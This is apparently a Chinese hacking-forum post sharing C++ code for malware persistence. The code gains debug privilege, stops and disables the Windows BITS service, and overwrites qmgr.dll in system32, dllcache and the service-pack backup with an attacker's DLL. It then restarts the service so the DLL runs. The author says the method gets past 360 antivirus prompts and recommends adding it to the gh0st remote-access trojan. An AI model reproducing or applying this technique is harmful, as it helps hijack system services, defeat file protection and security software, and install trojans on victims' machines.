PS:这个方法用来过360服务提示是很不错的,放到gh0st里去,再把代码 改下就好了 ^_^
创建了一个类,提供三接口,一个用来启动服务,一个用来停止服务,一个用来调整启动方式滴
1. class CService
2. {
3. public:
4. BOOL SetStartType(DWORD dwOp);
5. void StopService();
6. void StartService();
7. CService(char* szSerName);
8. virtual ~CService();
9.
10. private:
11. BOOL CloseHandle();
12. BOOL EnablePriv();
13. BOOL OpenHandle();
14. SC_HANDLE m_ser;
15. SC_HANDLE m_scm;
16. char m_szSerName[256];
17. };
18.
19. 实现部分的代码
20.
21. CService::CService(char *szSerName)
22. {
23. memset(m_szSerName,0,256);
24. strcpy(m_szSerName,szSerName);
25. }
26.
27. CService::~CService()
28. {
29.
30. }
31.
32. BOOL CService::OpenHandle()
33. {
34. BOOL stat=EnablePriv();
35. if(!stat)
36. return FALSE;
37. m_scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
38. if(m_scm==NULL)
39. {
40. return FALSE;
41. }
42. m_ser=OpenService(m_scm,m_szSerName,SERVICE_ALL_ACCESS);
43. if(m_ser==NULL)
44. {
45. return FALSE;
46. }
47. else
48. return TRUE;
49. }
50.
51. BOOL CService::EnablePriv()
52. {
53. HANDLE hToken;
54. BOOL stat;
55. stat=OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
56. if(stat==FALSE)
57. return FALSE;
58.
59. TOKEN_PRIVILEGES tkp;
60.
61. stat=LookupPrivilegeValue( NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid );//修改进程权限
62. if(stat==FALSE)
63. return FALSE;
64. tkp.PrivilegeCount=1;
65. tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
66. stat=AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL );//通知系统修改进程权限
67.
68. return stat;
69. }
70.
71. BOOL CService::CloseHandle()
72. {
73. return (CloseServiceHandle(m_scm)&&CloseServiceHandle(m_ser));
74. }
75.
76. void CService::StartService()
77. {
78. EnablePriv();
79. OpenHandle();
80. ::StartService(m_ser,NULL,NULL);
81. CloseHandle();
82. }
83.
84. void CService::StopService()
85. {
86. EnablePriv();
87. OpenHandle();
88. SERVICE_STATUS stat;
89. ControlService(m_ser,SERVICE_CONTROL_STOP,&stat);
90. CloseHandle();
91. }
92.
93. BOOL CService::SetStartType(DWORD dwOp)//SERVICE_AUTO_START SERVICE_BOOT_START SERVICE_DEMAND_START SERVICE_DISABLED SERVICE_SYSTEM_START
94. {
95. OpenHandle();
96. SC_LOCK sclLock=LockServiceDatabase(m_scm);
97. BOOL stat=ChangeServiceConfig(
98. m_ser,
99. SERVICE_NO_CHANGE,
100. dwOp,
101. SERVICE_NO_CHANGE,
102. NULL,
103. NULL,
104. NULL,
105. NULL,
106. NULL,
107. NULL,
108. NULL);
109. UnlockServiceDatabase(sclLock);
110. CloseHandle();
111. return stat;
112. }
113.
114.
115. 替换程序相关的代码
116.
117. void ReplaceService(char *szFilePath)//szFilePath是我们自己的DLL文件的位置
118. {
119. char temp[256]={0};
120. GetWindowsDirectory(temp,256);
121. char szPackPath[256]={0};
122. strcpy(szPackPath,temp);
123. strcat(szPackPath,"//ServicePackFiles//i386//qmgr.dll");//这个东东貌似是XP sp3下才存在,开始的时候没注意,一直没替换成功,系统自动还原了,瘦了一下,发现这个地方还有一备份文件。替换了就好了
124. char szCachePath[256]={0};
125. strcpy(szCachePath,temp);
126. strcat(szCachePath,"//system32//dllcache//qmgr.dll");
127. char szSystemPath[256]={0};
128. strcpy(szSystemPath,temp);
129. strcat(szSystemPath,"//system32//qmgr.dll");
130.
131. strcat(temp,"//qmgr.cfei");
132.
133. MoveFileEx(szCachePath,temp,MOVEFILE_REPLACE_EXISTING);
134. MoveFileEx(szPackPath,temp,MOVEFILE_REPLACE_EXISTING);
135. MoveFileEx(szSystemPath,temp,MOVEFILE_REPLACE_EXISTING);
136. CopyFile(szFilePath,szCachePath,0);
137. CopyFile(szFilePath,szPackPath,0);
138. CopyFile(szFilePath,szSystemPath,0);
139. }
140.
141.
142. 调用部分的代码
143.
144. CService ser("bits");
145. ser.SetStartType(SERVICE_DISABLED);
146. ser.StopService();
147. ReplaceService("c://ser.dll");//这里假设我们的文件释放的位置是c:/ser.dll
148. ser.SetStartType(SERVICE_AUTO_START);
149. ser.StartService();
当BITS才开始就是启动状态时,系统重新启动后才可以正常工作,如果BITS服务才开始就是停止或者禁用状态,则可以直接工作
服务部分相关的代码都从冷风那抄的咯,只是整理成一个类了,调用方便些而已